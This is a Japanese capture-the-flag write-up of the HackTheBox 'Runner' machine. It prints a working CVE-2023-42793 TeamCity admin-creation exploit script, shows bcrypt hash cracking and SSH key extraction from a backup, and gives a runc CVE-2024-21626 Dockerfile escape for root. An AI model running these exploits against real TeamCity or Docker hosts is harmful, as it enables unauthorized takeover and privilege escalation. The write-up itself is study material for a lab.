【HackTheBox】Runner：Writeup

# 概要

HackTheBox「Runner」のWriteupです。

https://app.hackthebox.com/machines/Runner

# User Flag

ポートスキャンを実行します。

```
$ nmap -Pn -sV -T4 -A -sC -p- 10.10.11.13 -oN nmap_result
PORT     STATE SERVICE     VERSION
22/tcp   open  ssh         OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_  256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp   open  http        nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Runner - CI/CD Specialists
8000/tcp open  nagios-nsca Nagios NSCA
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
```

ポートの稼働状況が分かりました。

|ポート|サービス|バージョン|
|:-:|:-:|:-:|
|22|ssh|OpenSSH 8.9p1|
|80|http|nginx/1.18.0|
|8000|nagios-nsca|Nagios NSCA|

`/etc/hosts`にドメインを追加します。

```
10.10.11.13     runner.htb
```

サブドメインを列挙します。

```
$ ffuf -c -w /usr/share/seclists/Discovery/DNS/namelist.txt -H "Host: FUZZ.runner.htb" -u http://runner.htb -fs 154
teamcity                [Status: 401, Size: 66, Words: 8, Lines: 2, Duration: 262ms]
```

`teamcity.runner.htb`を発見したので`/etc/hosts`に追記します。

```
10.10.11.13     runner.htb teamcity.runner.htb
```

`teamcity.runner.htb`へアクセスするとログインフォームが表示されました。

![subdomain login form.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/71bb2bcf-4029-9fcd-c757-f234d28fe194.jpeg)

`teamcity 2023.05.3`が使用されていると分かったのでexploitを検索すると、`CVE-2023-42793`がヒットしました。

https://www.exploit-db.com/exploits/51884

PoCを作成し実行するとアカウント情報の改ざんに成功しました。

<details><summary>CVE-2023-42793 PoC</summary>

```
#- Exploit Title: JetBrains TeamCity 2023.05.3 - Remote Code Execution (RCE)
#- Shodan Dork: http.title:TeamCity , http.favicon.hash:-1944119648
#- Exploit Author: ByteHunter
#- Vendor: JetBrains
#- Email: 0xByteHunter@proton.me
#- vendor: JetBrains
#- Version: versions before 2023.05.4
#- Tested on: 2023.05.3                      
#- CVE : CVE-2023-42793 

import requests
import argparse
import re
import random
import string
import subprocess  


banner = """
=====================================================
*       CVE-2023-42793                              *
*  TeamCity Admin Account Creation                  *   
*                                                   *
*  Author: ByteHunter                               *
=====================================================
"""

print(banner)
parser = argparse.ArgumentParser(description="CVE-2023-42793 - TeamCity JetBrains PoC")
parser.add_argument("-u", "--url", required=True, help="Target URL")
parser.add_argument("-v", "--verbose", action="store_true", help="verbose mode")
args = parser.parse_args()

url = args.url

if url.startswith("http://"):
    curl_command = "curl -k"
else:
    curl_command = "curl"

get_token_url = f"{url}/app/rest/users/id:1/tokens/RPC2"
delete_token_url = f"{url}/app/rest/users/id:1/tokens/RPC2"
create_user_url = f"{url}/app/rest/users"

create_user_command = ""
token = ""

response = requests.post(get_token_url, verify=False)
if response.status_code == 200:
    match = re.search(r'value="([^"]+)"', response.text)
    if match:
        token = match.group(1)
        print(f"Token: {token}") 
    else:
        print("Token not found in the response")

elif response.status_code == 404:
    print("Token already exists")
    delete_command = f'{curl_command} -X DELETE {delete_token_url}'
    delete_process = subprocess.Popen(delete_command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
    delete_process.wait()
    delete_output = delete_process.communicate()
    if delete_process.returncode == 0:
        print("Previous token deleted successfully\nrun this command again for creating new token & admin user.")
    else:
        print("Failed to delete the previous token")
elif response.status_code == 400:
    print("Token already exists")
    delete_command = f'{curl_command} -X DELETE {delete_token_url}'
    delete_process = subprocess.Popen(delete_command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
    delete_process.wait()
    delete_output = delete_process.communicate()
    if delete_process.returncode == 0:
        print("Previous token deleted successfully\nrun this command again for creating new token & admin user.")
    else:
        print("Failed to delete the previous token")
else:
    print("Failed to get a token")

if token:
    headers = {
        "Authorization": f"Bearer {token}",
        "Content-Type": "application/json"
    }
    random_chars = ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(4))
    username = f"city_admin{random_chars}"
    data = {
        "username": username,
        "password": "Main_password!!**",
        "email": "angry-admin@funnybunny.org",
        "roles": {"role": [{"roleId": "SYSTEM_ADMIN", "scope": "g"}]}
    }
    create_user_command = f'{curl_command} --path-as-is -H "Authorization: Bearer {token}" -X POST {create_user_url} -H "Content-Type: application/json" --data \'{{"username": "{username}", "password": "theSecretPass!", "email": "nest@nest", "roles": {{"role": [{{"roleId": "SYSTEM_ADMIN", "scope": "g"}}]}}}}\''
    create_user_response = requests.post(create_user_url, headers=headers, json=data)
    if create_user_response.status_code == 200:
        print("Successfully exploited!")
        print(f"URL: {url}")
        print(f"Username: {username}")
        print("Password: Main_password!!**")
    else:
        print("Failed to create new admin user")

if args.verbose:
    if response.status_code == 400:
        pass
    else:
        print(f"Final curl command: {create_user_command}")
```
</details>

`Username: city_adminKE2R`,`Password: Main_password!!**`

```
$ python exploit.py -u http://teamcity.runner.htb -v                  

=====================================================
*       CVE-2023-42793                              *
*  TeamCity Admin Account Creation                  *   
*                                                   *
*  Author: ByteHunter                               *
=====================================================

Token: eyJ0eXAiOiAiVENWMiJ9.Njc5ek91eGRaTW9NdXZGNmdBSWJWUnZkN19B.NDNmYmIyNjItZTBmMC00ZTdmLTgwZWQtNGQ0MGI2ZTkzNjFk
Successfully exploited!
URL: http://teamcity.runner.htb
Username: city_adminKE2R
Password: Main_password!!**
Final curl command: curl -k --path-as-is -H "Authorization: Bearer eyJ0eXAiOiAiVENWMiJ9.Njc5ek91eGRaTW9NdXZGNmdBSWJWUnZkN19B.NDNmYmIyNjItZTBmMC00ZTdmLTgwZWQtNGQ0MGI2ZTkzNjFk" -X POST http://teamcity.runner.htb/app/rest/users -H "Content-Type: application/json" --data '{"username": "city_adminKE2R", "password": "theSecretPass!", "email": "nest@nest", "roles": {"role": [{"roleId": "SYSTEM_ADMIN", "scope": "g"}]}}'
```

ログインに成功しました。

![teamcity login.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/695a7cfe-0c9b-1d41-02e7-a2b1f3913407.jpeg)

`/admin/admin.html?item=backup`にアクセスし、`Backup scope`を`Custom`すべてにチェックを入れ`Start Backup`ボタンからバックアップを作成します。

![take backup.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/8eb99082-88f7-f778-1b69-ac9364d7cb92.jpeg)

バックアップ作成後、表示されたURLにアクセスし圧縮ファイルをダウンロードします。

![get backup file.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/75bc81eb-5956-fb6c-9d52-7f54b2706eca.jpeg)

TeamCityではアップロードされたSSH鍵を`<TeamCity Data Directory>/config/projects/<project>/pluginData/ssh_keys`に保存します。

https://pleiades.io/help/teamcity/ssh-keys-management.html#Generated+SSH+Keys

ダウンロードしたバックアップファイルを解凍し中身を見るとSSHの秘密鍵が見つかりました。

```
$ ls -la config/projects/AllProjects/pluginData/ssh_keys/id_rsa 
---------- 1 kali kali 2590 Feb 28 19:56 config/projects/AllProjects/pluginData/ssh_keys/id_rsa
```

`database_dump/users`からユーザー一覧を見つけることが出来ました。

```$ cat database_dump/users      
ID, USERNAME, PASSWORD, NAME, EMAIL, LAST_LOGIN_TIMESTAMP, ALGORITHM
1, admin, $2a$07$neV5T/BlEDiMQUs.gM1p4uYl8xl8kvNUo4/8Aja2sAWHAQLWqufye, John, john@runner.htb, 1724697919644, BCRYPT
2, matthew, $2a$07$q.m8WQP8niXODv55lJVovOmxGtg6K/YPHbD48/JQsdGLulmeVo.Em, Matthew, matthew@runner.htb, 1709150421438, BCRYPT
11, city_adminke2r, $2a$07$KP6CSZlKHJk10g5IwEM8M.tjy3/UTkn00./BenM1.nOElRensG2i2, , angry-admin@funnybunny.org, 1724696521951, BCRYPT
12, city_adminszqk, $2a$07$cdHSLv5HixonoFXuAJxKe.Lok7snajz87tte9plqsqHy/GNXLqtJ6, , angry-admin@funnybunny.org, , BCRYPT
```

ハッシュ値が`Bcrypt`で作成されたことが分かったので、`matthew`のハッシュ値を解析します。

```
$ john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt --format=bcrypt
```

パスワードが判明しました。

```
piper123         (?)
```

しかし、matthewアカウントではSSH接続に失敗しました。

```
$ ssh -i config/projects/AllProjects/pluginData/ssh_keys/id_rsa matthew@10.10.11.13
matthew@10.10.11.13's password: 
Permission denied, please try again.
```

ユーザー名はSSHの秘密鍵から取得できました。
鍵の内容を`base64`でデコードして16進数で表示するとユーザー名がわかりました。

```
$ cat hash_test.txt | base64 -d | xxd
00000730: c73d cf67 9c81 9b00 0000 0b6a 6f68 6e40  .=.g.......john@
00000740: 7275 6e6e 6572                           runner
```

johnアカウントでSSH接続に成功しました。

```
$ ssh -i config/projects/AllProjects/pluginData/ssh_keys/id_rsa john@10.10.11.13
john@runner:~$
```

`/home/john/user.txt`からユーザーフラグを入手できました。

```/home/john/user.txt
50e0184a38f7cc2b29cc72c45e99fa49
```

# Root Flag

`linpeas`を実行します。
`portainer-administration.runner.htb`ドメインを発見しました。

```
╔══════════╣ Hostname, hosts and DNS
runner                                                                                                                        
127.0.0.1 localhost
127.0.1.1 runner runner.htb teamcity.runner.htb portainer-administration.runner.htb
```

`/etc/hosts`に追記し、`80`番ポートにアクセスします。

![portainer.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/276359cb-6caa-c2a3-51f7-1f5589cef49f.jpeg)

既に判明している`Username: matthew`,`Password: piper123`の認証情報を利用してログインに成功しました。

![portainer_login.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/1e5f6ab0-93d3-a9fd-d0bc-224cb4c299e4.jpeg)

`runC`のバージョンを確認します。

```
$ runc --version
runc version 1.1.7-0ubuntu1~22.04.1
spec: 1.0.2-dev
go: go1.18.1
libseccomp: 2.5.3
```

`runc 1.1.7`の脆弱性を検索すると`CVE-2024-21626`がヒットしました。

https://nvd.nist.gov/vuln/detail/CVE-2024-21626

PoCを見ると`docker`コマンドでexploitを実行できますが、johnには権限がないため`portainer-administration.runner.htb`を経由して権限昇格を試みる必要があります。

```
john@runner:~$ docker image ls
permission denied while trying to connect to the Docker daemon socket at unix:///var/run/docker.sock: Get "http://%2Fvar%2Frun%2Fdocker.sock/v1.24/images/json": dial unix /var/run/docker.sock: connect: permission denied
```

PoCはMetasploitモジュールを参考にします。

https://packetstormsecurity.com/files/176993/runc-1.1.11-File-Descriptor-Leak-Privilege-Escalation.html

```
# create directory to write all our files to
dir = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"
mkdir(dir)
register_dirs_for_cleanup(dir)

# Upload payload executable
payload_path = "#{dir}/.#{rand_text_alphanumeric(5..10)}"
vprint_status("Uploading Payload to #{payload_path}")
write_file(payload_path, generate_payload_exe)
register_file_for_cleanup(payload_path)

# write docker file
vprint_status("Uploading Dockerfile to #{dir}/Dockerfile")
dockerfile = %(FROM #{datastore['DOCKERIMAGE']}
WORKDIR /proc/self/fd/#{datastore['FILEDESCRIPTOR']}
RUN cd #{'../' * 8} && chmod -R 777 #{dir[1..]} && chown -R root:root #{dir[1..]} && chmod u+s #{payload_path[1..]} )
write_file("#{dir}/Dockerfile", dockerfile)
register_file_for_cleanup("#{dir}/Dockerfile")

print_status('Building from Dockerfile to set our payload permissions')
output = cmd_exec "cd #{dir} && docker build ."
```

上記のモジュール内では下記のことを実行しています。

- ファイルを書き込むディレクトリの作成
- 作成したディレクトリにMetasploitのペイロードをコピー
- `WORKDIR`を`/proc/self/fd/8`に設定し、既存のイメージを使用するDockerfileの作成
- Dockerfileで`RUN`命令を使用し、`cd ../../../../../../../../ && chmod -R 777 tmp/exploit && chown -R
root:root tmp/exploit && chmod u+s tmp/exploit/bash`を実行
- このコマンドによりBashにSUIDが設定され、権限昇格が可能になる

SSHのコンソール上で`/bin/bash`を`/tmp/exploit`にコピーします。

```
$ mkdir -p /tmp/exploit
$ cp /bin/bash /tmp/exploit/bash
$ ls -la /tmp/exploit/
total 1372
drwxrwxr-x 2 john john    4096 Aug 27 13:15 .
drwxrwxrwt 8 root root    4096 Aug 27 13:15 ..
-rwxr-xr-x 1 john john 1396520 Aug 27 13:15 bash
```

portainerに戻り、`Images` -> `Build a new images`ボタンからDockerfileを編集します。

```
FROM ubuntu:latest
    WORKDIR /proc/self/fd/8
    RUN cd ../../../../../../../../ && chmod -R 777 tmp/exploit && chown -R root:root tmp/exploit && chmod u+s tmp/exploit/bash
```

![edit docker file.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/07b14f29-ff9c-b084-7e33-f04a65ca1f9b.jpeg)

編集後、一番下の`Build the image`ボタンをクリックしイメージをビルドします。

![build image outpuy.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/437e783f-749a-7b8f-3934-97ee7d6d922f.jpeg)

ビルドに成功するとDockerfileに記述した命令が実行され`/tmp/exploit/bash`にSUIDが設定されます。

```
$ ls -la /tmp/exploit/
total 1372
drwxrwxrwx 2 root root    4096 Aug 27 13:15 .
drwxrwxrwt 8 root root    4096 Aug 27 13:15 ..
-rwsrwxrwx 1 root root 1396520 Aug 27 13:15 bash
```

`/tmp/exploit/bash`を実行してrootのシェルを取得できました。

```
$ /tmp/exploit/bash -p
bash-5.1# whoami
root
```

`/root/root.txt`からルートフラグを入手できます。

```/root/root.txt
8ef055ce749f48bda2095767c3503f7b
```